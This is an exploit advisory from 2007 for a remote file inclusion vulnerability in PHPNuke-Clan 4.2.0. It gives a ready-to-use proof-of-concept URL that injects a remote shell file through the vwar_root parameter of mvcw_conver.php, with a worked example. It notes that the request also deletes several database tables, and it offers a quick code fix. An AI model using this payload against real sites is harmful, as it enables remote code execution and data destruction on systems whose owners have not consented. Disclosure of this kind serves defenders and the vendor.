PHPNuke-Clan <= 4.2.0 (mvcw_conver.php) RFI Vulnerability

2007-08-28 00:00:00

\#'#/
(-.-)
--------------------------oOO---(_)---OOo-------------------------
| PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
| coded by DNX |
------------------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.phpnuke-clan.net
[!] Detected: 11.08.2007
[!] Reported: 11.08.2007
[!] Remote: yes

[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL

[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php

[!] PoC:
- http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]

[!] Example:
- http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
- replace:
if ($GPC['step'] == 1)
{
// clean tables

- with:
if ($GPC['step'] == 1)
{
$vwar_root = "./../";
// clean tables

#

Fixes

No fixes

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